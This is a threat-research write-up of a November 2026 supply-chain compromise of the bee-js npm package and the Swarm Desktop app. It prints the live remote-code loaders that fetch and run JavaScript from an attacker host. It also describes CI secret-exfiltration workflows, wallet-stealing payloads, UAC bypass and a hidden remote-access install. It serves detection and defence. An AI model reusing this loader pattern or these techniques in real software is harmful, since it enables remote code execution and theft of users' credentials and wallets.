Malicious bee-js npm Release and Swarm Desktop Releases Deliver SleepyDuck Ethereum C2 Backdoor
Compromised maintainer accounts pushed malicious @ethersphere/bee-js 13.3.0 and Swarm Desktop 0.56.2, reusing SleepyDuck’s Ethereum-addressed C2 infrastructure.
- Socket Research Team

Socket’s Threat Research Team analyzed the November 9, 2026 compromise of Ethersphere’s release pipeline, in which a threat actor used the project’s own GitHub automation to publish a malicious @ethersphere/bee-js 13.3.0 to npm and a trojanized Swarm Desktop 0.56.2 release on GitHub. Both artifacts carry a small loader that fetches JavaScript from api[.]frameworkmetrics[.]xyz and executes it with full Node.js privileges. The Ethereum smart contract that tells the later stages where to connect, the wallet that controls it, and the stage-3 implant files are the same ones Pluto Security documented on October 1, 2026 in its analysis of the SleepyDuck / EtherDuck Open VSX campaign. npm removed 13.3.0 about 75 minutes after it was published; the Swarm Desktop release stayed up for about eight and a half hours.
@ethersphere/bee-js13.3.0 (npm):scripts/generate-version.cjswas rewritten into a remote-code loader and promoted to apostinstallhook. The package was published by Ethersphere’s legitimate trusted-publishing workflow with valid SLSA provenance, and the loader ran three times inside that publishing job.- Swarm Desktop 0.56.2 (GitHub release): all nine Linux, macOS and Windows packages come from the same CI run, and every one we unpacked contains the same loader in the Electron main process. The macOS build is signed with the project’s Developer ID and notarized by Apple, and the release became available to Apple Silicon and Windows x64 users through the app’s auto-updater.
- Shared infrastructure with SleepyDuck / EtherDuck: the loaders’ later stages read their command-and-control (C2) address from Ethereum contract
0xf8a900Db50b3331be6B768bA460BB59f3E40C344, which has been maintained by the same wallet since March 2026 and was previously used by malicious Solidity extensions on Open VSX.
SafeDep published a detailed public analysis of this incident. This post focuses on how the threat actor got in, how the release pipeline was used, what the loaders do, and the link to the earlier Open VSX campaign.
Background
#@ethersphere/bee-js is the JavaScript client library for Bee, the node software of the Swarm decentralized storage network. It averaged about 470 npm downloads a day in early November 2026 and is used by Ethersphere’s own tools (swarm-cli, bee-dashboard, create-swarm-app) and by third-party Swarm applications. Swarm Desktop is Ethersphere’s Electron application that installs and runs a Bee node, including the node’s Ethereum wallet, on macOS, Windows and Linux.
Both projects release through GitHub Actions. bee-js has published to npm with trusted publishing (OIDC, no long-lived npm token) since January 2026, and Swarm Desktop builds, signs and notarizes its installers in CI.

How the Threat Actor Got In
#The November 9 releases were not the start. Two days earlier the same actor tried and failed to harvest credentials from Ethersphere’s CI, then abandoned the attempt. The November 9 compromise used access already held.
Socket’s analysis indicates two GitHub accounts were compromised: nugaon, a maintainer who authored swarm-cli’s initial commit in 2021 and still held force-push rights to an unprotected master in 2026, and bee-worker, the release automation identity. Both appear as push actors in GitHub’s activity logs, which are derived server-side from the authenticating credential. Because the November 6 harvest failed, neither credential came from it — the origin of both compromises predates November 6 and remains unexplained.

November 6: Failed Secret Harvesting
#All times UTC.
- 17:06:33 —
swarm-desktop, branchprobe/force-dryrun-1793984793: write-access probe at an existing commit, carrying no payload. - 17:12:25 —
swarm-desktop, branchsecurity/lab-secrets-1793985145:workflow_dispatchsecret dump. - 17:14:35 —
swarm-desktop, branchtest-run: the same payload, renamed. - 18:01:14 —
swarm-cli,master:workflow_dispatchsecret dump, reverted at 18:05:46. - 18:42–19:55 —
swarm-cli,master: exfiltration injected into the existingcheck.yaml(on: push), revised ten times.
The numeric suffixes are Unix epochs matching each branch’s creation time, indicating the names were generated programmatically.
All three workflows are the same tool: each dumps the full secrets and vars contexts via ${{ toJSON(secrets) }} and POSTs them to the same webhook[.]site collector, which is what makes this one campaign rather than two incidents. After the standalone workflows failed, the actor injected the payload into swarm-cli’s existing check.yaml as a step named sudo apt update, then revised it eleven times in 72 minutes across three collectors and a pastebin[.]com second stage. The targets narrowed from the whole secrets context to GitHub PATs, then to Apple and Windows code-signing material, and finally to NPM_TOKEN. Most of the individually named secrets appear nowhere in swarm-cli’s workflows, including code-signing material that belongs to a desktop application rather than a command-line tool. An undefined secret resolves to an empty string in GitHub Actions, so the enumeration reflects guesswork rather than knowledge of what the repository actually held. At 19:55:47 UTC the actor restored master and never returned.
No Evidence of Exfiltration
#All three collectors remain readable. Across 38 captured requests, no request carries a body — content, query and files are empty and size is 0 on every entry — and no Microsoft Azure address appears, the range GitHub-hosted runners egress from. The collector that received the NPM_TOKEN payload logged nothing at all.
Three of the four attempts could not have run: workflow_dispatch workflows are only triggerable from a repository’s default branch, and the swarm-desktop pair sat on feature branches. The check.yaml injections should have executed, and Socket could not determine why they produced no data; Actions is currently disabled on swarm-cli, so its run history is unavailable for review.
Socket assesses with moderate confidence that nothing was exfiltrated. Two of the three collectors retain their full November 6 history, including the actor’s own browser visits, making selective deletion unlikely; the empty third remains ambiguous.
Authorship Is Not Attribution
#Every malicious commit was authored as lab-bot or bee-worker and is unsigned. Author fields are client-set and worthless as evidence: lab-bot is fabricated and its noreply address is malformed, while bee-worker was copied verbatim from public history. Ethersphere’s genuine release commits are created through GitHub’s API and carry a Verified badge. What identifies the actor is the push event, and swarm-cli’s activity log attributes all thirteen November 6 pushes to nugaon.
Malicious bee-js 13.3.0
#A Version Generator Turned Into a Loader
#At 23:59:54 UTC on November 8 (client-set time), an unsigned commit, de2f74e, authored as the project’s release identity bee-worker, modified four files: CHANGELOG.md, package-lock.json, package.json and scripts/generate-version.cjs. The commit copies the title of an open pull request created by release-please, a tool that automates software releases (“chore(upcoming): release 13.3.0”), but does not belong to any branch and was never submitted through a pull request.
Two edits to package.json were needed for the loader to run on consumer machines. The files list gained scripts, so the script ships in the tarball for the first time, and the existing prepare hook was renamed to postinstall with the same command:
"files": [
"dist",
"scripts"
],
"scripts": {
"prepublishOnly": "NODE_ENV=production npm run build",
"postinstall": "node scripts/generate-version.cjs",This is the first install-time hook in the package’s npm history: none of the other 177 versions in the packument declares one.
The script itself still does its original job of generating src/version.ts from the engines field, but the threat actor inserted a block at the top of scripts/generate-version.cjs that runs first and unconditionally:
try {
const req = require('https').get(
'<https://api.frameworkmetrics.xyz/v1/analytics>',
{
headers: {
'User-Agent': process.platform,
'X-Ethersphere': '1',
},
timeout: 3000,
},
async res => {
let body = ''
for await (const chunk of res) body += chunk
new Function('require', 'console', 'process', body)(require, console, process);
},
)
req.on('error', () => {}).on('timeout', () => req.destroy())
} catch {}The request sends the operating system as the User-Agent and a gate header, X-Ethersphere: 1. There is no environment, CI, locale or time check. Whatever the server returns is compiled with new Function and called with the real require, console and process, so the downloaded code runs in-process with the installing user’s privileges and can load any Node.js module. The response status, content type and size are never checked. The sink line is also the only semicolon-terminated statement in a file that otherwise follows the repository’s semicolon-free Prettier style.
The surrounding comments frame the hook as code generation and the request as an “analytics ping”. The header comment says the script “must NEVER fail an install”, and a later comment explains that the script uses return rather than process.exit so it does not kill the ping. That early return fires on every consumer install, because published tarballs ship no src/ directory, and it keeps the process alive until the download finishes.
The “never fail” promise is only partly true. Request-level errors (DNS failure, TLS failure, no response within three seconds) are swallowed and the install succeeds silently. Errors after the response starts are not covered by the try block: a body that is not valid JavaScript, a payload that throws, or a stalled transfer becomes an unhandled promise rejection, which ends Node.js 15 and later with exit code 1 and fails the install. A failed install is therefore not evidence that a machine was spared, because the request has already been sent.
Package manager defaults matter here. npm 11 and earlier, Yarn Classic, and Yarn Berry before 4.14.0 run dependency postinstall scripts by default. npm 12, pnpm 10 and later, Yarn Berry 4.14.0 and later, Bun and Deno skip unreviewed dependency scripts by default, so on those clients the loader does not run unless the project allowlisted it.
The Loader Ran Inside Ethersphere’s Publishing Job
#At 00:06:01 UTC on November 9, bee-worker published a GitHub release for an unsigned annotated tag v13.3.0 pointing at de2f74e. The release event started the project’s Publish on npm workflow. That workflow runs its test, check and entrypoint jobs only on push events, and its publish job explicitly accepts release events with those jobs skipped:
publish:
needs: [tests-stable, tests-rc, check, entrypoint]
# Publish on a release (CI jobs are skipped there), or on an `upcoming` push only when every
# CI job succeeded. `!cancelled()` lets the job evaluate even though the needed jobs are
# skipped on the release path.
if: >-
!cancelled() &&
(github.event_name == 'release' ||
(needs.tests-stable.result == 'success' &&
needs.tests-rc.result == 'success' &&
needs.check.result == 'success' &&
needs.entrypoint.result == 'success'))
runs-on: ubuntu-latest
environment: publishNothing in the workflow checks that the released commit belongs to the protected upcoming branch, and the publish environment has no required reviewers or tag policy. The deployment went from creation to success in 73 seconds with no approval step. No npm token was needed: the legitimate workflow, running legitimate workflow code from the tag, published the threat actor’s commit.
Because the build itself calls the rewritten script, and package.json now also declared it as postinstall, the loader ran inside this job, which has id-token: write permission for trusted publishing. The public job log shows three executions (the root postinstall during npm ci, npm run build, and the prepublishOnly build during npm publish), and each is followed a few hundred milliseconds later by a line that exists nowhere in the package, the repository or any other run’s log:
2026-11-09T00:06:19.9251494Z > node scripts/generate-version.cjs
2026-11-09T00:06:19.9251720Z
2026-11-09T00:06:19.9741926Z Generated src/version.ts from package.json engines
2026-11-09T00:06:20.3545705Z [FrameworkMetrics] analytics v2.3.1 is up to dateThe C2 server therefore answered Ethersphere’s GitHub-hosted runner with JavaScript at 00:06:20, 00:06:21 and 00:06:43 UTC, more than five and a half hours before the first payload capture recorded in SafeDep’s IOC list (05:43 UTC). What that JavaScript did beyond printing the line is not visible in the log. The published build was not altered: all 331 dist/ files in 13.3.0 are byte-identical to the legitimate 13.3.0-upcoming.g4568f7a pre-release built from the parent commit, and the only differences are package.json and the loader. Whether the served code read the runner’s environment or requested an OIDC token cannot be determined from public data. No other Ethersphere npm package had been published after 13.3.0 when we checked at 09:21 UTC.
npm received @ethersphere/bee-js@13.3.0 under the latest dist-tag at 00:09:50 UTC and removed it at 01:24:58 UTC. GitHub issued GHSA-hh7j-5m3j-23pf at 01:25:27 UTC.
The Provenance Was Genuine
#The 13.3.0 provenance attestation is not forged. We verified the bundle offline end to end (DSSE signatures, Fulcio certificate chain, embedded SCT, Rekor inclusion proofs and the tarball’s sha512 digest). The signing certificate correctly names publish_npmjs.yaml@refs/tags/v13.3.0, commit de2f74e, the release trigger and the publish environment. The legitimate 13.2.0 attestation has exactly the same shape, so provenance alone could not have told the two releases apart. It proves where a package was built, not that the source was reviewed.
Trojanized Swarm Desktop 0.56.2
#Built, Signed and Notarized by the Project’s Own CI
#About 30 minutes after the npm publish, the same release identity created a branch named emergency/0.56.2 at commit 2de7270, and published GitHub release v0.56.2 (“emergency patch release”) as a full, non-draft release, all within seven seconds and before any build assets existed. The commit imitates a release-please release but bumps only package.json, leaving the release-please manifest at 0.56.1, and adds the loader to src/index.ts. The repository’s master branch was never touched.
The threat actor then dispatched pre-release.yml, a manually triggered workflow that takes a free-form branch input, has no environment protection and hands the build the Apple and Windows signing certificates, their passwords and the Apple ID used for notarization. That workflow had been broken since March 2026 because it never installed pnpm, so the first run failed. About two minutes after that failure, commit dc7d745 added the missing pnpm/action-setup step (a second run, started just before the fix was pushed, failed the same way). It carries a Co-authored-by: Cursor <cursoragent@cursor.com> trailer and, according to GitHub’s push record, was pushed through the nugaon account described above. The third run built, signed, notarized and uploaded all ten assets between 00:41:24 and 00:44:55 UTC, even though it ended with a “failure” status because a second macOS arm64 job failed code signing.
The Loader in the Electron Main Process
#Every 0.56.2 package we unpacked (Linux deb and rpm for amd64 and arm64, the macOS arm64 zip, and the Windows Setup.exe, nupkg and zip) contains the same dist/desktop/src/index.js inside app.asar, with SHA-256 f81315968e679b48f6bdff1c9b928bb223230d07f44d7948412c2250c2a14deb. The arm64 DMG comes from the same CI job; we did not open it. Comparing against 0.56.1, exactly seven of the 6,769 files in the archive change; the other six are the source map, two version fields and pnpm metadata, and the only code change is a 731-byte insertion into index.js. The source change in 2de7270 adds an https import and the following block, shown here as compiled into index.js with surrounding context:
async function main() {
logger_1.logger.info(`Bee Desktop version: ${package_json_1.default.version} (${process.env.NODE_ENV ?? 'production'})`);
new Promise((resolve, reject) => {
const req = node_https_1.default.request({
hostname: 'api.frameworkmetrics.xyz',
port: 443,
path: '/v1/electron',
method: 'GET',
headers: {
'User-Agent': process.platform,
'X-Ethersphere': '1',
},
}, (res) => {
let body = '';
res.setEncoding('utf8');
res.on('data', (c) => { body += c; });
res.on('end', () => new Function('require', 'console', 'process', body)(require, console, process));
});
req.on('error', reject);
req.end();
});
const gotTheLock = (0, electron_2.runElectronTray)();
if (!gotTheLock)
return;The loader is the first action of main(), which runs unconditionally when the module loads. It fires at every launch of the app, before the single-instance lock, the splash window, the updater and app.whenReady, and it runs in the unsandboxed main process with the same new Function sink and the same two headers as the npm loader. It is not identical code: it uses a different path (/v1/electron), https.request instead of https.get, no timeout, and no error handling. A failed request rejects a promise nobody awaits, so an unreachable or misbehaving server likely produces Electron’s “A JavaScript error occurred in the main process” dialog rather than failing silently.
Swarm Desktop stores the Bee node’s config.yaml, which includes a plaintext password value, and the node key under data-dir/keys/ on every install, so the files that stage 2 targets (see below) are present on every affected machine.
Signed, Notarized and Pushed Through Auto-Update
#The macOS app is signed “Developer ID Application: Swarm Association (9J9SPHU9RP)” with the same certificate as 0.56.1. The signature covers the trojanized archive: the ElectronAsarIntegrity value in the signed Info.plist equals the hash of the malicious app.asar header. Apple’s stapled notarization ticket, issued at 00:44:05 UTC, lists all 15 Mach-O code directory hashes in the bundle, none of which appear in 0.56.1. Gatekeeper therefore shows only the normal first-launch prompt. The Windows binaries carry an Authenticode signature made with the same Apple-issued certificate. That signature is mathematically valid, but Apple’s roots are not in Microsoft’s trusted root program, so Windows should treat it as untrusted (we did not test this on a Windows host). The Linux packages are unsigned and have no maintainer scripts; the loader runs when the app starts.
Swarm Desktop uses update-electron-app, which polls update.electronjs.org every ten minutes on macOS and Windows. That service ignores drafts and pre-releases, which is why publishing v0.56.2 as a full release mattered. Windows x64 clients could be offered 0.56.2 from 00:43:17 UTC and Apple Silicon Macs from 00:44:49 UTC. Intel Macs were never offered it because pre-release.yml has no Intel macOS job, and Linux packages do not auto-update.
Ethersphere maintainers deleted the v0.56.2 tag at 09:04 UTC and the release was no longer public by about 09:14 UTC. Deleting a release does not roll anyone back: the update service never offers an older version, so machines that already updated to 0.56.2 stay on it until a 0.56.3 or later release ships. As of 10:30 UTC on November 9, no 0.56.3 had been published.
Later Stages
#- Stage 2: without the
X-Ethersphere: 1header the server returns a harmless decoy. With it, it returns plain JavaScript for the requesting operating system; the macOS and Windows payloads are the same on both endpoints, and Linux has one variant per endpoint. On both the npm and the desktop path, the payload looks for Swarm Desktop’s data directory and posts the node’sconfig.yamlanddata-dir/keys/swarm.keytohxxps://api[.]frameworkmetrics[.]xyz/v1/swarm/report. The key file is an encrypted Ethereum keystore, butconfig.yamlholds its password in plain text, so the two files together hand over the node wallet. The payload then downloads the stage 3 for the host’s operating system and architecture from the/v1/assets/path on the same server. - Stage 3 (macOS and Linux): a Go backdoor whose module is named
evjawbreaker, written to~/.solidity/under its platform name (for examplelinux_amd64ordarwin_arm64) and started by~/.solidity/.run.py(or~/.solidity/.run.cjson macOS when Node.js is present). It persists as systemd user unitsolidity-langsupport-runner.service, which it repairs on every run if the unit was changed, or as LaunchAgentcom.solidity.langsupport.runner, clearing the macOS quarantine attribute. It exits before connecting if it detects a debugger or a virtual machine. Otherwise it reads its hub address from the Ethereum contract through public RPC gateways such asrpc.ankr.comandcloudflare-eth.com, connects to the hub over TLS without validating the certificate, and runs the operator’s commands in a persistentshpseudo-terminal. - Stage 3 (Windows): the payload first checks whether ScreenConnect is already installed, stages its files as
%TEMP%\.stuffed-*and runs an obfuscated PowerShell loader,invoke.ps1. If the user is a local administrator, the loader uses UACME method 39 (COR_PROFILER) againstmmc.exeto elevate without a prompt; otherwise it shows the UAC prompt again every time the user cancels it. With administrator rights it adds a Microsoft Defender exclusion, silently installs a genuine, ConnectWise-signed ScreenConnect 25.4.3 client configured for relay185[.]232[.]84[.]169:8041with its tray icon and connection banners hidden and sessions starting without asking the user, then removes the exclusion and the staging files. The client runs as the SYSTEM serviceScreenConnect Client (5cbe79c9c25524df).
The “Solidity language support” names make little sense for Swarm users. They are carried over unchanged from the Open VSX campaign described next.
Contract 1 and Its Write History
#Contract 0xf8a900Db50b3331be6B768bA460BB59f3E40C344 on Ethereum mainnet is a minimal configuration store. param1() (selector 0x02d91518) returns the hub address and param2() (selector 0x1f049b68) returns a payload URL; only the owner, 0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7, can change them. Because the values are plain ABI strings in transaction calldata, the full history can be decoded:
- March 14, 2026: the contract is deployed 13 minutes after the owner wallet is funded. The first hub value is
hxxp://localhost:4912, an operator test, followed 40 minutes later by107[.]189[.]16[.]215:4912. - March 28 to 29: hub
91[.]108[.]240[.]156:4912and payload URLhxxp://91[.]108[.]240[.]156:3000/app[.]js. - May 3 and May 16: hub
107[.]189[.]27[.]46:4912and payload URLhxxp://107[.]189[.]27[.]46:3000/app[.]js, which is still the currentparam2. - July 31: hub
107[.]189[.]27[.]223:4912. - September 23 and 24: hub
178[.]16[.]54[.]222:4912, then193[.]57[.]9[.]17:4912. - November 8, 23:30:47 UTC: hub
193[.]57[.]9[.]155:4912, written 29 minutes before the malicious bee-js commit.
The loader domain frameworkmetrics[.]xyz was registered on November 6, 2026 at 15:08 UTC through NICENIC with Cloudflare nameservers, about 57 hours before the bee-js commit.
The Same Operator as SleepyDuck / EtherDuck
#On October 1, 2026, Pluto Security published an analysis of “EtherDuck”, two waves of malicious Open VSX extensions that impersonated the juanblanco.solidity and NomicFoundation.hardhat-solidity extensions between September 24 and 26, 2026, and that Pluto attributes to the actor behind the 2025 SleepyDuck campaign. Those extensions read their configuration from the same contract, owned by the same wallet. Several independent points tie the two operations together:
- Pluto’s on-chain timeline for the contract (deployment plus two changes on March 14, three changes on March 28 and 29, two in May, one on July 31, two on September 23 and 24) matches our decoded history write for write. Pluto’s hub value
193[.]57[.]9[.]17:4912is the value the contract held until November 8. The November 8 write is the only one made after Pluto’s report. - The two September changes landed about 25 and 6 hours before the first EtherDuck listings went live, and the May 3 hub change came two days after the earlier
juannegro.soliditylisting was published on May 1. Not every change lines up with a known wave: the March changes preceded the first known listing by weeks, and Pluto found none for July 31. - Six of the seven payload hashes Pluto published (the four Go backdoor builds, the PowerShell loader and the ScreenConnect installer) are the same six files SafeDep downloaded from the bee-js C2’s
/v1/assets/path on November 9. The Go builds were reused unchanged (Pluto found the same builds in both the spring and September waves): the implant looks up its hub in the contract at runtime, so a new contract value was enough to point it at new infrastructure. - The persistence names (
~/.solidity/,com.solidity.langsupport.runner,solidity-langsupport-runner.service), the ScreenConnect instance5cbe79c9c25524dfand relay185[.]232[.]84[.]169:8041are identical.
Pluto did not find a distribution wave for the July 31 change. The chain suggests a reason: that day a second wallet, 0xA7B15A2B5F6992DC3BabB946375d6895fF1171BF, deployed a second contract, 0x6a82595EEea0f4FDFB3aE13A2687BcbBE626e94B, with the same getter selectors but renamed setters, and values that appear to be encoded with a per-slot substitution cipher. The two wallets are linked directly: the first wallet sent calldata to the new contract that was byte-identical to the second wallet’s successful transaction 72 seconds later, and both were funded by the same high-volume payout wallet, most likely an exchange or swap service. Our partial decode of the second contract’s values points to a public IP address on port 4444 and a payload URL on the same host, but we found no client that reads it.
Taken together, the same operator moved from fake developer extensions that a victim had to find and install, to compromising a real project’s release pipeline and shipping through npm trusted publishing and an Apple-notarized desktop app. The target profile, developers working with Ethereum tooling and wallets, did not change.
Impact
#- bee-js:
@ethersphere/bee-jshad 3,741 downloads between November 1 and 8. Version 13.3.0 was on the registry aslatestfor about 75 minutes, and per-version counts for it are not available; based on daily traffic, we estimate on the order of ten fetches of 13.3.0, including scanners and mirrors. Any project that installed it, or freshly resolved a dependent with a^13range, during that window with install scripts enabled ran the loader. Dependents whose published ranges admit 13.3.0 include@ethersphere/swarm-cli3.6.0 and 3.7.0,@ethersphere/bee-dashboard0.37.0 and 0.37.1,@snaha/swarm-id0.5.0 to 0.8.0,@solarpunkltd/file-manager-lib1.1.0 and 1.1.1, andbee-wasm-js0.1.0 and 0.1.1, plus newcreate-swarm-appprojects.@ethersphere/bee-dashboard0.33.0 to 0.36.2 also reach it indirectly through@solarpunkltd/file-manager-lib. A CI job that installed it ran the loader with that job’s environment and, where granted, its OIDC token capability. - Swarm Desktop: the v0.56.2 download counters reached 65 by 08:27 UTC, including 22 downloads of the darwin-arm64 zip that the macOS updater fetches and 3 of the Windows nupkg. These are upper bounds that include researchers. Every affected machine requested stage 2 at every app launch, and ran it whenever the C2 answered.
- Data and access at risk: the Bee node password and wallet key (and with them any node balance, chequebook or stake), anything the installing user or CI job could read, and, per the reported stage 3, persistent remote shell access on macOS and Linux and unattended ScreenConnect access on Windows.
- Residual copies: at 10:30 UTC on November 9 the Huawei Cloud npm mirror still served the malicious
bee-js-13.3.0.tgzwith matching checksums, and GitHub still served source tarballs of the malicious commits by SHA.
Recommendations
#For bee-js Users
#- Search lockfiles, package-manager caches and internal registries for
@ethersphere/bee-js@13.3.0or integritysha512-ltkrphoNy7TBIjCICDW7y3qa+j8yljt3+ohPRSM+id1rK2NaOgm5H5V/FioTQ0rEJ5IJ+Zj1micbAdQCqqc8iw==and pin 13.2.0. Purge cached copies, including any mirror you install through. - Treat any developer machine or CI job that installed 13.3.0 with scripts enabled between 00:09:50 and 01:24:58 UTC on November 9 as having run the threat actor’s code, even if the install failed. Rotate credentials reachable from those environments, including cloud credentials obtainable through CI OIDC trust.
- On npm 11.16 through 11.21, CI and terminal logs name
@ethersphere/bee-js@13.3.0 (postinstall: node scripts/generate-version.cjs)in an install-scripts warning, and npm debug logs record aninfo runline for the same script.
For Swarm Desktop Users
#- Check whether 0.56.2 ever ran: each launch writes
Bee Desktop version: 0.56.2 (production)tobee-desktop.logbefore the loader executes. - Uninstall 0.56.2 and install 0.56.3, the clean replacement release. macOS and Windows clients should also receive 0.56.3 automatically through the auto-updater, but check the installed version rather than waiting for it; Linux packages do not auto-update and must be replaced manually.
- Assume the node password and key were stolen. Move node wallet funds, chequebook and stake to a new key from a clean machine.
- Look for
~/.solidity/, thecom.solidity.langsupport.runnerLaunchAgent, thesolidity-langsupport-runner.serviceuser unit and theScreenConnect Client (5cbe79c9c25524df)service. Reinstalling the app does not remove them.
For Maintainers
#- Do not let a release event publish without proof that the released commit is on a protected branch or came from a merged release pull request. Run that check inside the publishing workflow, because trusted publishing and provenance will faithfully sign whatever the workflow builds.
- Put the publishing environment behind required reviewers and restrict which tags can deploy to it. Use repository rulesets to restrict tag and release creation.
- Do not skip tests on the release path, and do not expose signing certificates and notarization credentials to manually dispatched workflows that accept an arbitrary branch input.
- Treat a release-bot identity’s token as a publishing credential: scope it narrowly, rotate it, and alert on releases that bypass the normal release-please flow.
For Security Teams
#- Hunt DNS and proxy logs for
api[.]frameworkmetrics[.]xyzand for connections to the hub and relay addresses below. - Where RPC traffic is visible (TLS inspection or endpoint telemetry), hunt for
eth_callrequests to0xf8a900Db50b3331be6B768bA460BB59f3E40C344with data0x02d91518, in particular from binaries under~/.solidity/. This would flag the backdoor regardless of whether it arrived through npm, Swarm Desktop or an Open VSX extension. - Watch the contract for new writes. It emits no events, so poll its getters or storage rather than waiting for logs.
Socket detects threats like this across the full dependency graph, including install-time loaders that fetch and execute remote code, before they reach developer environments. The Socket GitHub App scans pull request dependency changes and flags new install scripts and network access in dependency updates before merge. The Socket CLI enforces allow and deny rules in CI pipelines. Socket Firewall blocks known malicious packages before they are fetched. The Socket browser extension surfaces risk signals while browsing npm. Socket MCP prevents AI-assisted coding workflows from introducing suspicious dependencies into your codebase.
MITRE ATT&CK
#- T1195.002 Compromise Software Supply Chain
- T1078 Valid Accounts
- T1059.007 Command and Scripting Interpreter: JavaScript
- T1036 Masquerading
- T1102.001 Web Service: Dead Drop Resolver
- T1105 Ingress Tool Transfer
- T1071.001 Application Layer Protocol: Web Protocols
- T1553.002 Subvert Trust Controls: Code Signing
- T1552.004 Unsecured Credentials: Private Keys
- T1543.001 Create or Modify System Process: Launch Agent
- T1543.002 Create or Modify System Process: Systemd Service
- T1543.003 Create or Modify System Process: Windows Service
- T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control
- T1219 Remote Access Tools
- T1041 Exfiltration Over C2 Channel
Indicators of Compromise (IOCs)
#Malicious Package and Release
#@ethersphere/bee-js@13.3.0(npm)- Swarm Desktop v0.56.2 (
ethersphere/swarm-desktopGitHub release, now removed) - bee-js commit
de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf - Swarm Desktop commits
2de727046706062d38edfbbf8340f32d1eb2bdfbanddc7d7455c95b3092eb14bff2bd93315b84b066fa
Threat Actor (On-Chain)
#- Configuration contract 1:
0xf8a900Db50b3331be6B768bA460BB59f3E40C344 - Configuration contract 2:
0x6a82595EEea0f4FDFB3aE13A2687BcbBE626e94B - Operator wallet 1:
0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7 - Operator wallet 2:
0xA7B15A2B5F6992DC3BabB946375d6895fF1171BF
Network Indicators
#api[.]frameworkmetrics[.]xyzhxxps://api[.]frameworkmetrics[.]xyz/v1/analyticshxxps://api[.]frameworkmetrics[.]xyz/v1/electronhxxps://api[.]frameworkmetrics[.]xyz/v1/swarm/report193[.]57[.]9[.]155:4912(current hub)193[.]57[.]9[.]17:4912178[.]16[.]54[.]222:4912107[.]189[.]27[.]223:4912107[.]189[.]27[.]46:491291[.]108[.]240[.]156:4912107[.]189[.]16[.]215:4912hxxp://107[.]189[.]27[.]46:3000/app[.]js185[.]232[.]84[.]169:8041(ScreenConnect relay)webhook[.]site/fdc222d5-2e6c-4122-801d-93099f3fe827— exfiltration collectorwebhook[.]site/46358b99-9cff-4f14-97bc-4a436086e826— exfiltration collectorwebhook[.]site/c05b53d9-c3b6-4a90-94dc-b86a0a4e905f— exfiltration collectorpastebin[.]com/raw/q1p9qH2w
File Hashes (SHA-256)
#bee-js-13.3.0.tgz:d01fdf241aa9e0a1ba6ebc19f8f667af1bf652745021c5050126cb7036f7ce58scripts/generate-version.cjs:ee2f762e9ed3fd89f106e0b80c2e923bf1aed9a280277d3d998a5902c4d9ec0fdist/desktop/src/index.js(all Swarm Desktop 0.56.2 platforms):f81315968e679b48f6bdff1c9b928bb223230d07f44d7948412c2250c2a14debapp.asar(Linux):92c6eb24f9910b3577d5939a8686f9bf6e52f1bdd5872bf96cab0132b4558025app.asar(macOS):e49afac84dbb6d5a5d101f87754575024b078d67a7ab9e767ff0f7b5b4368069app.asar(Windows):40a45d68aa49e9e6233c4eb6bb2eb2e92525deea5d17863f6910fc24b06ff20eswarm-desktop_0.56.2_amd64.deb:14f23342f4292ede4546070e0e3e1cacd06fa781a2937ac374d2b47dbaf77666swarm-desktop_0.56.2_arm64.deb:23f2d944a0dfa60df493667428d9304cfc1961270b6c68f8d0f38df7fe0e2d31swarm-desktop-0.56.2-1.x86_64.rpm:aed930fbf5993df4ce9bb5951a4092da8a28a12fb45a81ad9715c7b029606fd0swarm-desktop-0.56.2-1.arm64.rpm:e0304260dcf2f29d1b4690dc46e9ceb35d5554a79ea749cd913687288d6e228bSwarm.Desktop-0.56.2-arm64.dmg:94df8933a57cb9962a312a79c079fd0d43706a45066cda1f1b2322f403ad9217Swarm.Desktop-darwin-arm64-0.56.2.zip:718ae6ac77e119568dff50a6409996bd649c8e9daf7c8a5616856ff1909a916fSwarm.Desktop-0.56.2.Setup.exe:0ef1fbe5db17ec0ebd3bcac576f0f0f351a5ef5da67d5e45a9817e7a224acc5dswarm-desktop-0.56.2-full.nupkg:ffd280b8ff519b647041b7453754bfd35d341bbd26bce02cb325c512c8976645Swarm.Desktop-win32-x64-0.56.2.zip:6a37ce783e406f135ed8b60e0897e0e1146a9fa220c2e6c5ce4118fff967f395
Stage 3
#linux_amd64:9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696linux_arm64:b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565darwin_amd64:80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250fdarwin_arm64:fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358invoke.ps1:37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08eapp.msi(ScreenConnect):7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da




